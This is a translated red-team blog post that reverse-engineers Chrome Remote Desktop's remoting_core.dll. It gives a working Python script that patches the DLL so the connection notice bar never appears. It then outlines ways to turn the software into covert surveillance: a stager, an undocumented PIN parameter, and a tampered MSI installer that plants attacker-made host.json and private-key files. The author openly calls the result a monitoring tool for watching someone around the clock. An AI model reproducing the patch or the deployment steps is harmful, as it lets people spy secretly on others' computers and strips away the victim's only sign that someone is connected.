导语:一条没人愿意看的连接提示条,一份藏在 ProgramData 里的 host.json,两个加起来就是一台能 24 小时盯着别人的远程主机。这条完整的红队化改造路线,从逆向一个 DLL 开始。

事情是怎么开始的
大约两年前,我有一台实验机,装着 Chrome Remote Desktop(CRD,谷歌远程桌面),平时用它远程干活。每次一连上,主机上就会弹出这么一条小小的提示条。
这条提示条的作用是告诉使用者:有人正在连你的机器。

用久了实在烦人——每次远程会话,提示条都要闪上几秒再消失。看得多了,我一上火,决定想办法把它永久关掉。
然后就掉进了一个兔子洞,事情也从这里开始变得有意思。
第一部分:把提示条藏起来
第一步是看看 Chrome 远程桌面到底往机器里装了些什么。
简而言之:Chrome 远程桌面的文件都在
C:Program Files (x86)下的 Google 目录里。
既然是开源项目,下一步自然是去看 Chromium 的源码。我先翻项目的 resources 目录,想搞清楚这个程序的结构长什么样。
最早引起我注意的是本地化资源。界面上的每一句字符串都放在 /remoting/remoting_strings_en-GB.xtb 里。

这给了我一点上下文,但带来的问题比答案还多。
追本地化文件的时候,我翻到 remoting_strings.grd 里的一条记录。

这是核心的资源定义文件之一。顺着看下去,我发现它被一个 rc_header 引用了——这一点很扎眼。顺着这条引用一路找,最终指向了 remoting_core.dll。

有意思的是,Chrome 远程桌面的安装目录里只有一个 DLL:remoting_core.dll。到这一步,所有线索开始对上了——核心库只有一个,那绝大部分功能几乎肯定都压在这个 DLL 里。
下一步是去源码里对照。remoting/host/disconnect_window_win.cc 里就是断开提示窗口的实现,看完源码,整个机制就清楚多了。

源码里能看到,提示窗口最多显示 10 秒就淡出。这下就把控制这个行为的范围缩得很小了。

这个函数干三件事:
CreateDialogParam→ Windows 加载一个对话框资源,把它显示成一个窗口MAKEINTRESOURCE(IDD_DISCONNECT)→ 这个资源用 idIDD_DISCONNECT命名CURRENT_MODULE()→ 从运行宿主代码的同一个模块里加载它(实际安装时就是remoting_core.dll)
那么下一个问题很简单:IDD_DISCONNECT 到底是多少?
答案在 remoting/host/win/core_resource.h 里,Google 已经替我们定义好了:
#define IDD_DISCONNECT 110
#define IDD_CONTINUE 111
#define IDC_DISCONNECT 1001
#define IDC_DISCONNECT_SHARINGWITH 1002
#define IDC_DISCONNECT_USERNAME 1003
对号入座:
- 对话框 id 110 = 断开 / 共享提示条(
IDD_DISCONNECT) - 对话框 id 111 = “继续会话” 对话框(
IDD_CONTINUE) - 控件 1002 = 那行 “sharing with …” 文字(
IDC_DISCONNECT_SHARINGWITH)
所以现在我可以很有把握地说:那条小提示条就是 remoting_core.dll 里的 RT_DIALOG // 110 // 111。
这是整个过程里最有用的一条信息。

参考的源码文件有两个:disconnect_window_win.cc 和 core_resource.h。
那行像邮箱的文字是哪来的
同一个文件。会话开始时,CRD 会取远端客户端的 jid(其实就来自后面要讲的那个 .json 文件),截出用户名那一段(通常是邮箱),写进对话框:
std::string client_jid = client_session_control_->client_jid();
username_ = client_jid.substr(0, client_jid.find('/'));
然后再填进控件:
HWND hwnd_message = GetDlgItem(hwnd_, IDC_DISCONNECT_SHARINGWITH);
SetWindowText(hwnd_message, message_text.c_str());
也就是说:那只是一个对话框资源,上面盖了一层运行时文字。
为了彻底弄明白,我写了个调用 CreateDialogParam 的小程序。

程序跑起来的效果:

在这么个小例子里亲眼见过一次这个 API 之后,Chromium 的代码就非常好读了——同一个思路,换个资源 id 而已。
回到真实的 DLL
源码会骗人,毕竟产品构建可能和代码不一致。所以我又去查实际安装的 remoting_core.dll。
在 PE 的资源段(.rsrc)资源树里:

- 里面只有 110 和 111 两个对话框 id
- 110 和 111 各有大约 53 个语言版本(en-US 是 1033)
Chromium 把共享提示条叫作 IDD_DISCONNECT,并在 core_resource.h 里把它硬编码成 110。Windows 上宿主用 CreateDialogParam(CURRENT_MODULE(), MAKEINTRESOURCE(IDD_DISCONNECT), ...) 创建它。所以这并不是什么自定义悬浮窗,而是一个标准的 Win32 对话框资源,从和宿主代码同一个模块里加载——磁盘上这个模块就是 remoting_core.dll。
我把这个 DLL 逆了一遍,结论就坐实了。所有对话框模板都躺在 .rsrc 里,PE 资源树里只有两个对话框:110(共享 / 断开提示条)和 111(继续对话框)。语言 1033 是 Global en-US。
en-US 的 110 号模板,在文件里的位置是:
| Value | File offset | RVA | VA (ImageBase + RVA) |
|---|---|---|---|
| 0x1CDBF30 | 0x1CDBF30 | 0x1F02330 | 0x11F02330 |

这些字节对应微软的 DLGTEMPLATEEX 结构。前几个字段标识出这是一个扩展版对话框模板,dlgVer = 1、signature = 0xFFFF,用的是 EX 版本而不是标准 DLGTEMPLATE。
固定头占 26 字节。对话框的位置和尺寸存放在四个 16 位有符号整数里,从模板起始处偏移 +18 开始:
+0 dlgVer
+2 signature (0xFFFF = EX form)
+4 helpID
+8 exStyle
+12 style
+16 cDlgItems
+18 x, y, cx, cy
在 IDA 里,这个布局干净地对应上了一个本地类型:
struct DLGTEMPLATEEX_HDR
{
unsigned __int16 dlgVer; // +0
unsigned __int16 signature; // +2 0xFFFFh
unsigned __int32 helpID; // +4
unsigned __int32 exStyle; // +8
unsigned __int32 style; // +12
unsigned __int16 cDlgItems; // +16
__int16 x; // +18
__int16 y; // +20
__int16 cx; // +22
__int16 cy; // +24
};
在没打补丁的 en-US 模板上,量出来的值是:
- x = 0
- y = 0
- cx = 145 (0x91)
- cy = 24 (0x18)
有意思的地方在于,Chromium 从来不写死对话框的宽高。源码只引用对话框的资源 id,实际尺寸存在 PE 资源里。
x, y, cx, cy = struct.unpack_from("<hhhh", dll_bytes, file_off + 18)
我是怎么把提示条藏掉的
做法很简单。我没有去改运行时的逻辑(这个方向试了好几次,都失败了),而是直接改对话框模板本身:把 110 号对话框在所有语言版本里的 cx 和 cy 都改成 0。
Windows 照样会创建这个对话框,只是尺寸变成 0,提示条自然就看不见了。远程会话照常工作。
disconnect_window_win.cc 照常运行,改的只是 PE 资源里存的那份对话框模板。
Python 补丁脚本
脚本会遍历所有 RT_DIALOG / 110 条目,先确认它是 DLGTEMPLATEEX(dlgVer=1,signature=0xFFFF),然后把偏移 +18 处的四个布局值清零。
pip install pefile
打补丁:
python patch_crd_sharebar.py .remoting_core.dll
还原:
python patch_crd_sharebar.py "remoting_core.dll" --restore
# patch_crd_sharebar.py
# Author @5mukx
# pip install pefile
# python patch_crd_sharebar.py <path-to-remoting_core.dll>
import argparse
import shutil
import struct
import sys
from pathlib import Path
import pefile
RT_DIALOG = 5
DEFAULT_DIALOG_NAME_ID = 110
DLGVER = 1
DLGSIG = 0xFFFF
LCID_NAMES = {
1025: "ar", 1026: "bg", 1027: "ca", 1028: "zh-TW",
1029: "cs", 1030: "da", 1031: "de", 1032: "el",
1033: "en-US", 1034: "es", 1035: "fi", 1036: "fr",
1037: "he", 1038: "hu", 1039: "is", 1040: "it",
1041: "ja", 1042: "ko", 1043: "nl", 1044: "no",
1045: "pl", 1046: "pt-BR", 1048: "ro", 1049: "ru",
1050: "hr", 1051: "sk", 1053: "sv", 1054: "th",
1055: "tr", 1057: "id", 1058: "uk", 1060: "sl",
1061: "et", 1062: "lv", 1063: "lt", 1065: "fa",
1066: "vi", 1069: "eu", 1071: "mk", 1078: "af",
1081: "hi", 1086: "ms", 2052: "zh-CN", 2070: "pt-PT",
3082: "es-ES", 0: "neutral",
}
def find_dialog_langs(pe: pefile.PE, dialog_name_id: int):
hits = []
for type_entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if getattr(type_entry, "id", None) != RT_DIALOG:
continue
for name_entry in type_entry.directory.entries:
if getattr(name_entry, "id", None) != dialog_name_id:
continue
for lang_entry in name_entry.directory.entries:
lang_id = getattr(lang_entry, "id", None)
if lang_id is None:
continue
rva = lang_entry.data.struct.OffsetToData
size = lang_entry.data.struct.Size
off = pe.get_offset_from_rva(rva)
hits.append((lang_id, off, size))
return hits
def patch_one(buf: bytearray, off: int, lang_id: int) -> bool:
tag = f"lang={lang_id} ({LCID_NAMES.get(lang_id, '?')})"
dlgVer, sig = struct.unpack_from("<HH", buf, off)
if (dlgVer, sig) != (DLGVER, DLGSIG):
print(f" {tag}: SKIP not DLGTEMPLATEEX (ver=0x{dlgVer:x} sig=0x{sig:x})")
return False
x, y, cx, cy = struct.unpack_from("<hhhh", buf, off + 18)
struct.pack_into("<hhhh", buf, off + 18, 0, 0, 0, 0)
print(
f" {tag}: OK offset=0x{off:x} "
f"before(x={x} y={y} cx={cx} cy={cy}) -> zeroed"
)
return True
def main():
ap = argparse.ArgumentParser()
ap.add_argument("dll", type=Path)
args = ap.parse_args()
pe = pefile.PE(str(args.dll), fast_load=True)
pe.parse_data_directories(
directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]]
)
hits = find_dialog_langs(pe, DEFAULT_DIALOG_NAME_ID)
pe.close()
if not hits:
sys.exit(f"no RT_DIALOG/{DEFAULT_DIALOG_NAME_ID}/* entries found")
print(f"found {len(hits)} language variant(s) of dialog id {DEFAULT_DIALOG_NAME_ID}:")
for lang_id, off, size in hits:
print(
f" lang={lang_id} ({LCID_NAMES.get(lang_id, '?')}) "
f"offset=0x{off:x} size={size}"
)
bak = args.dll.with_suffix(args.dll.suffix + ".bak")
if not bak.exists():
shutil.copy2(args.dll, bak)
print(f"backup -> {bak}")
buf = bytearray(args.dll.read_bytes())
print("patching:")
patched = sum(patch_one(buf, off, lang_id) for lang_id, off, _ in hits)
args.dll.write_bytes(buf)
print(f"done: patched {patched}/{len(hits)} variant(s)")
if __name__ == "__main__":
main()
代码看着不多,开发过程其实相当折磨。试了好几次才成功。
输出:



现在你可以停掉 chromoting 服务,把打过补丁的 DLL 拷进 Program Files (x86) 覆盖掉,重启宿主服务,再连一次——提示条没了。
效果
原文此处放了两段演示视频:打补丁前底部弹出提示条,打补丁后桌面干净、远程会话照常。视频可以在原文页面观看。
到这一步我已经得到了我想要的东西:桌面是安静的,CRD 还在线。但脑子里冒出一个更可怕的问题——如果我让某个人装上这东西,我是不是就能 24 小时监控他,而且完全不需要自己的服务器?
可这要怎么做到?正常流程需要一个 Google 账号,还得手动输 PIN 完成配对。如果是通过 SSH 方式安装配置,又该怎么整?这就是第二部分要讲的了。
第二部分:host.json 与私钥
提示条补丁搞定之后,问题就变得很简单了:这台主机是怎么一直保持注册的?它的身份存在哪?还有没有别的东西对红队式的访问有用?
Windows 服务经常把配置放在 ProgramData 下。我去那儿看了一眼:
C:ProgramDataGoogleChrome Remote Desktop

里面有两个文件很显眼:
| 文件 | 是什么 |
|---|---|
| host.json | 主配置(id、密钥、哈希) |
| host_unprivileged.json | 低权限部分用的精简配置 |
host_unprivileged.json 走的是另一套机制:字段基本一样,但私钥的存放方式不同(用 DPAPI 加密保护)。
host.json 才是关键。正常安装下,读它需要管理员或 SYSTEM 权限。
Google 是靠这个文件认识这台主机的。你的 PIN 解锁一次会话,服务则用磁盘上的密钥来证明”我确实是那台主机”。
简单看一下:

字段名会随版本略有变化。在 150.0.7871.x 附近的版本上,结构大致是:
- 主机信息(id、name、所有者邮箱)
private_key,base64 编码的 RSA 私钥host_secret_hash,由 PIN 算出来的哈希(不是 PIN 本身)
为什么这对红队有意义
通常情况下,机器上的 host.json 是这么用的:

所以,只要你设法换掉一份别的账号生成的 host.json,就能在不走任何正常流程的情况下把 CRD 配起来。=)

武器化的方式有这么几种。
第一种:Chrome 远程桌面是用 .msi 安装包装的,所以可以写一个 stager(也就是初始访问脚本),负责装 .msi、取回并配置好需要的 JSON 文件、启动 Chromoting 服务。
第二种:初始化配置时直接传 --pin=123456 参数,把整个流程自动化。这个没写进文档的六位 PIN 参数是 TrustedSec 在博客里披露的,第 7 条 “Undocumented Parameter”。
你当然可以写个脚本把这套流程自动化掉,但我不建议把宝押在这个技术上——通过 “Set up via SSH” 方式生成的密钥是轮转的,有效期很短,有时连一天都撑不住(我实测是这样)。
第三种,也是最省事的那种:改 .msi 安装包,把你自己生成的 host.json 和 host_unprivileged.json 塞进去,让它在安装时创建 C:ProgramDataGoogleChrome Remote Desktop 目录并把文件复制过去,再顺手把服务启动起来。MSI 安装程序一般以提权状态运行,所以这条路相当直接。
结尾
一开始只是想干掉一条烦人的提示条,结果顺手做出了一整套监控工具。lol!
喜欢这篇的话,点个赞、关注一下,我们下篇见。
原文作者:Smukx(@5mukx),ZeroTrace Lab 原文地址:https://zerotracelab.com/blog/chrome-remote-desktop-red-ops
版权声明:本文为 ZeroTrace Lab 原创文章的中文编译转载,保留原作者署名与出处。译文仅用于技术学习与研究,相关操作请在获得授权的前提下进行。














暂无评论内容